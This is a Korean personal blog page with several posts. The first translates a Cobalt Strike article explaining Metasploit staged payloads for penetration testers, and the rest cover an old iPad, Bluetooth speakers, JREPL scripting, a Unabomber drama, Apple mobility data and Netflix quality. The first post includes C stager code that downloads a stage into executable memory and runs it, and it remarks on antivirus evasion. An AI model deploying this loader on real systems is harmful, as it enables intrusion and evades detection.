2020년 4월 26일 일요일

스테이지된 페이로드

원문: https://blog.cobaltstrike.com/2013/06/28/staged-payloads-what-pen-testers-should-know/

스테이지된 페이로드(Staged Payloads) - 침투 테스터가 알아야 할 것

메타스플로잇 프레임워크는 익스플로잇과 페이로드(익스플로잇 성공 후 실행되는 것)를 디커플링한다. 또한 메타스플로잇 프레임워크는 스테이저(stager)와 스테이지(stage)의 두 부분으로 나뉜다. 스테이저는 큰 페이로드(스테이지)를 다운로드하고, 그것을 메모리에 주입하고, 실행을 전달한다.

그림. 페이로드 스테이징 과정

스테이징은 필요에 의해 생겨났다. 많은 익스플로잇 상황은 공격자가 얼마나 많은 바이트를 변경 없이 메모리의 한 위치에 로딩할 수 있는지에 제약을 받는다. 이러한 상황에서 흥미로운 포스트 익스플로잇을 하는 한 가지 방법은 페이로드를 여러 단계(스테이지)에 걸쳐 전달하는 것이다.

스테이저는 어셈블리 언어로 작성되어 수작업으로 최적화되는 것이 일반적이다. 공격자는 스테이저를 가능한 한 작게 만들려고 한다. 스테이저가 작으면 공격자는 많은 익스플로잇에 자유롭게 사용할 수 있다.

다음 코드는 C로 작성된 스테이저다. 버퍼를 할당하고, 스테이지를 다운로드하고, 그것에 제어를 전달한다. 나는 이 과정을 블로그에 설명했고, 전체 프로그램은 깃허브에 있다.

/* 핸들러에 연결 */
SOCKET my_socket = wsconnect(argv[1], atoi(argv[2]));
 
/* 4 바이트를 읽음 */
int count = recv(my_socket, (char *)&size, 4, 0);
if (count != 4 || size <= 0)
    punt(my_socket, "read a strange or incomplete length value\n");

/* RWX 버퍼를 할당 */
buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (buffer == NULL)
    punt(my_socket, "could not allocate buffer\n");


/* SOCKET 값을 EDI 레지스터에 옮기기 위해 어셈블리를 prepend
   BF 78 56 34 12     =>      mov edi, 0x12345678 */
buffer[0] = 0xBF;
 
/* 소켓의 값을 버퍼에 복사 */
memcpy(buffer + 1, &my_socket, 4);
 
/* 바이트를 버퍼에 읽음 */
count = recv_all(my_socket, buffer + 5, size);
 
/* 버퍼를 함수로 변환해 호출 */
function = (void (*)())buffer;
function();

스테이징은 몇 개의 스테이저를 가지고 다양한 페이로드를 전달할 수 있게 해준다. 내가 스테이저와 호환되는 코드를 갖고 있으면, 나는 스테이저가 지원하는 코드를 전달할 수 있다(크기가 관건이다). 이러한 유연성 덕분에 비콘(Beacon) 같은 페이로드를 메타스플로잇 프레임워크에 맞춰 수정하지 않아도 된다.

스테이저에 의존하면 안티 바이러스 회피도 쉬워진다. 윈도우 미터프리터는 700KB이고 코발트 스트라이크(Cobalt Strike)의 비콘은 120KB다. 크기에 대한 제약이 없다고 가정할 때, 만약 내가 원하는 페이로드 그대로를 전달하기 위해 공격 패키지를 만들면 안티 바이러스 공급자에게 더 많은 단서를 제공해 그들이 시그니처를 작성할 수 있게 된다. 스테이저를 사용해 페이로드를 전달하면 나는 스테이저에 집중할 수 있고 공격 패키지는 안티 바이러스에 잡히지 않을 것이다. 스테이저가 잡히지 않는다면 스테이지도 아마 안전할 것이다.

이론적으로 스테이지 코드는 크기와 위치에 독립적이다. 현실에서는 메타스플로잇 프레임워크와 함께 사용되는 스테이지는 C로 작성된 DLL이다. 이 DLL들은 스테픈 퓨어(Stephen Fewer)가 작성한 반사 DLL 주입 라이브러리(Reflective DLL Injection library)를 가지고 컴파일된다. 이 라이브러리는 메모리로부터 프로세스에 라이브러리를 로드할 수 있다. 동작 원리에 대해서는 스테픈 퓨어가 쓴 반사 DLL 주입 문서(Reflective DLL Injection paper)를 참조하라.

(후략)

2020년 4월 25일 토요일

iPad 1세대 파일 동기화

2010년에 출시된 아이패드 1세대를 아직도 쓰고 있다. 유튜브도 안 되고, 어지간한 웹 사이트나 심지어 앱 스토어를 보는 중에도 다운되기 일쑤다. 팟캐스트는 약간 불편하긴 해도 PC에서 에피소드를 먼저 다운로드한 다음 아이튠즈를 통해 동기화하면 들을 수 있다.

실용적으로 가장 잘 사용하고 있는 앱은 굿리더(GoodReader)다. 유료로 구입한 걸로 기억하는데, 버전 업그레이드를 한 번인가 하고 나서는 iOS 버전 제한 때문에 더 이상 올리지 못했다. 번역 원고를 검토할 때 태블릿에서 보면 좀 더 독자의 입장을 느낄 수 있어서 좋다.

지금까지 PC에 있는 PDF 파일을 아이패드에 넣는 방법을 여러 가지로 시도했다.

1. 아이튠즈에서 동기화 - 수정할 때마다 동기화시키는 것이 번거롭다. 케이블을 꽂았다 뺐다 하기도 귀찮고(WiFi 동기화 기능은 꺼놨다).

2. 클라우드에서 동기화 - 아이패드의 iOS 버전이 낮아서인지 굿리더 버전이 낮아서인지 모르겠지만 제대로 동작하지 않는다.

3. PC에 FTP 서버를 띄우고 굿리더의 FTP 기능을 사용해 동기화 - 그나마 괜찮은 방법이긴 한데, 파일을 수정할 때마다 ftproot 디렉터리에 파일을 옮기는 것도 귀찮고(문서 전체를 FTP에 올리는 건 내키지 않는다), FTP 연결이 끊겨서 다시 시도해야 잘 된다. FTP 서버 설정을 바꿔봤지만 해결 못했다.

4. SMB 사용 - 굿리더가 SMB도 지원한다는 걸 여태 모르고 있다가 오늘에야 발견했다. 내 여건에는 이게 가장 나은 방법인 것 같다.

2020년 4월 24일 금요일

UE Megaboom

UE 메가붐(Megaboom) 블루투스 스피커를 두 대 갖고 있다. 원래 야외 활동을 하거나 파티를 할 때 쓰라고 만들어진 물건이지만, 요즘은 집에서 노트북에 연결해 음악을 듣거나 넷플릭스를 볼 때 사용한다.

인터페이스

메가붐은 기본적으로 블루투스 스피커이지만 3.5mm 입력 단자도 있다. 스마트폰에서는 전용 앱을 다운로드해 여러 기능을 사용할 수 있지만 윈도우용 앱은 없다. 그렇지만 윈도우에서도 블루투스로 연결할 수 있고, 전용 앱 없이도 두 대를 연결하는 방법이 있어 그렇게 사용해 보기도 했다. 정작 문제는 블루투스 연결을 했을 때 영상과 음성의 시차가 있어 영화를 보거나 게임을 할 때 불편하다는 것이다. 그래서 결국 3.5mm 단자 출력을 좌우로 나눠주는 Y자 케이블을 사서 연결했다.

음색

저음이 강조된 편이라 음악이나 영화 감상에 큰 불편은 없지만 유튜브에서 중년 남성이 대화하는 것은 너무 웅웅거려서 듣기 불편하다. 그래서 유튜브는 휴대폰이나 맥북에서 틀거나, 팟캐스트를 아이패드로 옮겨서 듣는다(1세대 아이패드는 유튜브 재생이 안 된다). 혹은 음성 출력을 노트북 내장 스피커로 전환해서 재생하기도 한다.

스탠드

3.5mm 음성 입력과 마이크로 USB 단자가 스피커 아래쪽에 있다보니, 처음에는 책상에 거꾸로 세워서 사용했다. 그런데 스피커를 분해한 영상을 보니 스피커 유닛이 위쪽에 있어, 뒤집어 놓는 것보다는 바로 두는 것이 나을 것이라는 생각이 들었다. 그래서 카메라용 미니 삼각대를 달아서 세웠다. 나사 구멍과 단자들이 너무 가까이 있어 삼각대 부착 부분이 아주 좁은 것을 골랐더니, 스피커 무게를 잘 못 견디는 문제가 있다.

배터리 문제

잘 쓰던 중에 별안간 전원 상태 LED가 빨간색으로 바뀌며 배터리 충전이 안 됐다고 하는데, 어댑터에 꽂아둬도 돌아오지 않았다(윈도우에 등록된 장치에서 제거한 것과 관련이 있는 것으로 의심된다). 몇 년 써서 배터리 수명이 다 됐나 싶어 AS 센터도 알아보고 배터리를 자가 교체하는 방법배터리 파는 곳도 알아뒀는데, 다행히 공장 초기화를 하니 증상이 사라졌다.

2020년 4월 21일 화요일

JREPL

일을 편리하게 해주는 여러 가지 도구가 있지만, 그런 도구들을 잘 사용하려면 적든 많든 노력이 필요하게 마련이다. 때로는 그런 노력을 하는 것이 너무 부담스러울 때도 있어, 차라리 불편하게 일하는 쪽을 택하기도 한다.
내가 라즈베리 파이 문서 번역을 처음 시작할 때가 그랬던 것 같다. 그 전에 이미 여러 해 동안 번역을 하면서 이런저런 도구를 접해봐서 알고 있었음에도 불구하고, OmegaT도 사용하지 않고 git 클라이언트도 없이 깃허브 사이트에서 텍스트를 복사해서 위키독스 웹 인터페이스에 붙여넣고 무식하게 작업을 했던 것으로 기억한다. 일을 편하게 하자고 골치 아파지는 것이 싫었던 것 같다.

지금은 거의 손을 놓고 있지만, 몇 년이 지난 지금도 원본 문서는 계속 업데이트되고 있어 몇 달에 한 번 정도 들여다보곤 한다. 요즘 작업 방식은 이렇다.
1. GitHub Desktop을 사용해 문서 저장소를 pull(PC에 가져옴)
2. 원본 문서를 번역에 적합한 source 파일로 가공
3. OmegaT에서 번역
4. 번역이 완료된 target 파일을 복사해서 위키독스에 붙여넣기

2번 단계에서 하는 일은 이렇다.
a. 원본 문서의 계층 구조(디렉터리/.../파일명)를 위키독스의 구조(페이지 번호)에 맞게 변환
b. 변환된 계층 구조에 맞춰 문서 내의 하이퍼링크를 수정
원본과 번역본의 계층 구조가 다른 이유는 위키독스에서 페이지를 flat하게 부여하기 때문이다. 이 차이점을 근본적으로 해소하기 위해 다른 서비스로 이전해야 할 지 고민해봤지만, 번역을 거의 다 해놓고 유지보수하는 단계에서 굳이 그럴 필요는 없다고 결론을 내렸다.

문제는 2번 단계를 수작업으로 하다보니 너무 많은 노력이 들어가고, 인적 오류 발생 가능성이 상존한다는 것이었다. 그래서 얼마 전부터 그 부분을 자동화하기 시작했다. 자동화라고 해서 대단한 건 없고, 단순히 COPY 명령을 나열하는 수준으로도 a 작업을 할 수 있다. 그리고 b 작업은 본질적으로 문자열 치환을 하면 되는 것이라서 Windows batch 파일을 작성할 때 쓰이는 간단한 for 문을 사용해 처리했다.

그렇게 사용하다보니 몇 가지 가려운 부분이 생겨서 조금씩 수정을 하게 됐는데, batch 문법을 잘 몰라서 매번 애를 먹었다. Python을 사용할까 하는 생각도 해보고, 일부 과정을 Linux나 Mac 환경으로 옮겨서 하는 것도 생각해보고, cygwin도 생각해봤지만(참, Windows에서 bash가 된다고 했었지) 모두 마음에 들지 않았다. Windows 환경에서 native하게 할 수 있는 방법으로 처리하고 싶었다.

오늘은 PowerShell로 할 수 있는 방법을 찾아서 시도해봤는데 잘 안 됐다. 그 후에 방법을 계속 찾다보니, batch 문법만으로는 근본적인 한계가 있어 JREPL을 사용한다는 사람이 있었다. JREPL은 batch와 JScript가 섞인 하이브리드 스크립트로, 문자열 치환을 제대로 처리해준다. 스크립트 파일 하나만 갖다놓으면 사용할 수 있고, 내가 원하는 일을 모두 제대로 처리해줘서(그렇게까지 만드는 과정이 험난했지만) 아주 마음에 든다.

2020년 4월 16일 목요일

맨헌트: 유나바머

You can't have your cake and eat it, too. (두 마리 토끼를 한 번에 잡을 수 없다)

몇 달 전에 넷플릭스에서 <마인드헌터>를 재미있게 봤다. 1970년대에 수감된 연쇄살인범들을 찾아다니며 면담해 범죄자 프로파일링 분야를 개척한 FBI 수사관의 실화를 바탕으로 한 드라마다.

어제 본 <맨헌트: 유나바머>는 FBI 프로파일러의 실화를 다룬 점이나 전반적인 분위기가 마인드헌터와 비슷한데, 대학과 항공사 등에 폭탄 테러를 저질러 유나바머로 불린 테러범의 글을 분석해 검거하는 데 결정적인 공을 세운 수사관이 주인공이다. 테러는 장기간에 걸쳐 이뤄졌지만, 선언문이 공개되고 검거와 재판이 이뤄진 90년대 중후반이 드라마의 시간적 배경이다.

유나바머에 대해서는 교양수업에서 이름을 들어서 아는 정도였는데, 이번에 드라마를 통해 좀 더 알게 됐다. 그가 쓴 INDERSTRIAL SOCIETY AND ITS FUTURE는 워싱턴 포스트에 게재됐고, 지금도 웹사이트에서 볼 수 있다. <산업사회와 그 미래>라는 제목으로 번역되어 책으로도 나와 있다.

드라마에는 사람들이 이 글을 '선언문(manifesto)'으로 지칭하는 것에 대해 카진스키가 거부감을 가졌던 것으로 표현된다. 언어를 습관적으로 아무렇게나 쓰지 않고 단어 하나하나를 정확히 사용하려 노력하는 사람이었기 때문에, 범인을 프로파일링하는 과정에서 개인어(idiolect), 슬라브어 등 언어학적인 주제가 등장하는 것도 이 드라마가 흥미로왔던 이유다.

FBI 웹사이트의 유나바머 소개 페이지에 걸린 영상에 카진스키의 거처가 보이는데, 드라마에서 본 것과 너무나 흡사하다.

선언문의 한글 번역본을 일부 수정해 https://yong-it.blogspot.com/p/unabomber-society-and-its-future-1.html에 게시했다.

2020년 4월 15일 수요일

Apple Mobility Trends Report

COVID-19 확산을 저지하기 위해 사회적 거리두기가 이뤄지고 있다.

애플에서 사람들이 얼마나 돌아다니는지 알 수 있는 보고서 서비스를 내놨다. 국가 또는 도시별 그래프가 제공되고 CSV 파일을 받을 수도 있다.

한국


한국과 서울 데이터는 거의 비슷하다. 초기에 빨간 선이 며칠 높게 나온 것이 설날 연휴였던 것 같다. 대구 등 다른 지역의 그래프는 조회되지 않는다.

한국

서울

아시아

중국은 데이터가 없는 것 같다.

홍콩이 일찌감치 활동을 줄였다.

홍콩
 일본은 사태의 심각성을 전혀 몰랐던 것 같다. 날이 풀리면서 활동이 증가하다 뒤늦게 줄어든다.

일본

인도

아메리카

미국

뉴욕

아르헨티나


유럽


이태리

프랑스

모스크바

2020년 4월 2일 목요일

넷플릭스 화질

LG TV의 DNS 설정을 바꿨더니 넷플릭스 속도가 빨라지더라는 글을 보고 처음엔 그런가 했다가 이상한 생각이 들었다. IP를 한 번 찾고 나면 한동안 캐시되어 DNS를 이용할 필요가 없는데 왜 빨라진다는 걸까. 이 궁금증을 갖고 조사와 테스트를 해보다가 곁다리로 몇 가지 사실을 알게 됐다.

1. 재생 중인 영상의 화질을 확인하려면 Ctrl + Alt + Shift + d를 눌러, playing bitrate 항목을 확인한다.

2. 크롬은 넷플릭스의 HD 화질을 지원하지 않는다! 에지는 지원한다!

3. 모든 컨텐츠가 풀HD(1080p)로 재생 가능한 것은 아니다.
에지에서 테스트한 결과:
매트릭스, 브이 포 벤데타, 원스 어폰 어 타임 인 헐리우드 같은 영화는 모두 480p로 재생된다.
킹덤, 슬기로운 의사생활, 마인드 헌터가 1080p로 재생됐다. 나는 표준 요금제를 쓰고 있어 4K는 못 본다.

4. 원스 어폰 어 타임 인 헐리우드가 에지에서 480p, 크롬에서 540p라고 나온다. 그런데 내 눈에는 에지 쪽이 더 고화질로 보였다.

5. PrtScr을 눌러 화면 캡처를 하니 에지는 검게 나오고 크롬은 캡처가 된다.

6. DNS를 자동으로 설정해 KT DNS를 거치더라도 보는 데 전혀 문제가 없다.

역시 뭐든 직접 해보지 않으면 알 수가 없다.